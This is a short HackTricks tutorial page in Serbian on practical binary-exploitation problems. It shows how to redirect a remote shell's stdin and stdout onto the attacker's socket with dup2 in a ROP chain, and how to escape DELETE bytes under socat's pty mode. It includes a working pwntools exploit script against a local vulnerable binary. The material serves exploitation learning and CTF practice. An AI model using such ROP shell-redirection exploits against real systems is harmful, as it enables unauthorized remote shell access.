Common Exploiting Problems

Podržite HackTricks

FDs u daljinskoj eksploataciji

Kada se šalje eksploatacija na daljinski server koji poziva system('/bin/sh'), to će se izvršiti u procesu servera, a /bin/sh će očekivati ulaz sa stdin (FD: 0) i će ispisivati izlaz na stdout i stderr (FD-ovi 1 i 2). Tako da napadač neće moći da interaguje sa shell-om.

Jedan od načina da se to reši je da se pretpostavi da je kada je server pokrenut, kreiran FD broj 3 (za slušanje) i da će vaša veza biti u FD broju 4. Stoga, moguće je koristiti sistemski poziv dup2 da se duplira stdin (FD 0) i stdout (FD 1) u FD 4 (onaj od napadačeve veze) kako bi se omogućila komunikacija sa shell-om kada se izvrši.

Primer eksploatacije odavde:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Napomena da socat već prenosi stdin i stdout na soket. Međutim, pty režim uključuje DELETE karaktere. Dakle, ako pošaljete \x7f ( DELETE -) to će izbrisati prethodni karakter vašeg eksploita.

Da biste to zaobišli, escape karakter \x16 mora biti prethodjen bilo kojim \x7f koji se šalje.

Ovde možete pronaći primer ovog ponašanja.

Support HackTricks

Last updated